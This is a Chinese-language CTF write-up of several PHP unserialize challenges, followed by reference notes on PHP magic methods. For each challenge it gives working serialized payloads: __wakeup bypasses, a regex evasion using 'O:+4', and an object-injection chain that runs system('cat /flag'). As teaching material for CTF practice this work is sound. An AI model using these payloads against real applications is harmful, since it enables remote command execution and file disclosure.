攻防天下
unserialize3
打开本题,可看到一下代码:
- class xctf{
- public $flag = '111';
- public function __wakeup(){
- exit('bad requests');
- }
- ?code=
复制代码 根据代码,我们需要进行__wakeup绕过然后获取flag,要注入的参数为code。
让成员属性个数大于类中真实的个数即可:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Web_php_unserialize
打开题目,得到以下代码:
- <?php
- class Demo {
- private $file = 'index.php';
- public function __construct($file) {
- $this->file = $file;
- }
- function __destruct() {
- echo @highlight_file($this->file, true);
- }
- function __wakeup() {
- if ($this->file != 'index.php') {
- //the secret is in the fl4g.php
- $this->file = 'index.php';
- }
- }
- }
- if (isset($_GET['var'])) {
- $var = base64_decode($_GET['var']);
- if (preg_match('/[oc]:\d+:/i', $var)) {
- die('stop hacking!');
- } else {
- @unserialize($var);
- }
- } else {
- highlight_file("index.php");
- }
- ?>
复制代码 根据代码,变量var经过base64解码后进行正则匹配,若匹配到o或c,则输出stop hacking!相反,则进行序列化。
输入:index.php?var=O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
编码后:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
NSSCTF
1z_unserialize
打开题目,得到以下代码:
- <?php
-
- class lyh{
- public $url = 'NSSCTF.com';
- public $lt;
- public $lly;
-
- function __destruct()
- {
- $a = $this->lt;
-
- $a($this->lly);
- }
-
-
- }
- unserialize($_POST['nss']);
- highlight_file(__FILE__);
-
-
- ?>
复制代码 根据代码,构造it与lly的值即可,注意本题为POST传参。
- 输入:nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
-
- nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
复制代码 ez_ez_unserialize
打开题目,得到以下代码:
- <?php
- class X
- {
- public $x = __FILE__;
- function __construct($x)
- {
- $this->x = $x;
- }
- function __wakeup()
- {
- if ($this->x !== __FILE__) {
- $this->x = __FILE__;
- }
- }
- function __destruct()
- {
- highlight_file($this->x);
- //flag is in fllllllag.php
- }
- }
- if (isset($_REQUEST['x'])) {
- @unserialize($_REQUEST['x']);
- } else {
- highlight_file(__FILE__);
- }
复制代码 根据代码,需要绕过wakeup函数。
输入:x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
ez_unserialize
这个题需要在题目背面加/robots.txt打开会发现cl45s.php文件。打开文件,可得到以下代码:
需要对p进行传参使其满足$this->admin=="admin"&&$this->passwd=="ctf"。
输入:?p=O:4:wllm:2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
魔术方法
1、魔术方法简介
界说:一个预定好的,在特定情况下自动触发的行为方法。
作用:魔术方法在特定的条件下自动调用相干方法,终极导致触发代码。
相干机制:触发机遇(必须知道)、功能、参数(部分魔术方法会有传参)、返回值
2、魔术方法
__construct()
构造函数,在实例化一个对象的时候,首先会去自动执行的魔术方法;
触发机遇:实例化对象时触发。
功能:提前清理不必要内容。
参数:非必要
__destruct()
析构函数,在对象的所以引用被删除或者当对象被显式销毁时执行的魔术方法。
触发机遇:对象引用完成或对象被销毁(获取频频对象就触发频频,因为创建对象一定会有销毁过程,实例化后会触发,反序列化后会触发)
无参数
__sleep()
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化的操作。
触发机遇:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性
返回值:需要被序列化的成员属性
__wakeup()
unserialize()会检查是否存在一个__wakeup()魔术方法。
如果存在,则会调用__wakeup()方法,预先准备对象需要的资源。
触发机遇:反序列化unserialize()之前
功能:常用于反序列化操作中重新创建数据库连接或执行其他初始化操作。
__tostring()
触发机遇:把对象当成字符串调用
常用于构造POP链;
__invoke()
触发机遇:把对象当成函数调用
__call()
触发机遇:调用一个不存在的成员方法
参数:两个参数,第一个参数是调用的不存在的函数名,第二个参数是调用时传参数据。
返回值:不存在的成员方法的名称,调用时的参数
__callStatic()
触发机遇:静态调用或调用成员常量时利用的方法不存在
参数:两个参数
返回值:不存在的成员方法的名称,调用时的参数
- <?php
- class test{
- public function __callStatic($arg1,$arg2){
- echo "$arg1,$arg2[0]";
- }
- }
- $test=new test();
- $test::callxxx('a');//静态调用
- ?>
复制代码 __get()
调用机遇:调用的成员属性不存在
参数:一个参数
返回值:不存在的成员属性的名称
__set()
触发机遇:给不存在的成员属性赋值
参数:两个参数
返回值:不存在的成员属性的名称和赋的值
__isset()
触发机遇:对不可访问属性利用isset()或empty()时,__isset()会被调用。
参数:一个参数
返回值:不存在的成员属性的名称
__unset()
触发机遇:对不可访问的属性利用unset()时
参数:一个参数
返回值:不存在的成员属性的名称
__clone()
触发机遇:当利用clone关键词拷贝完成一个对象后,新对象会自动调用有界说的魔术方法__clone()
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |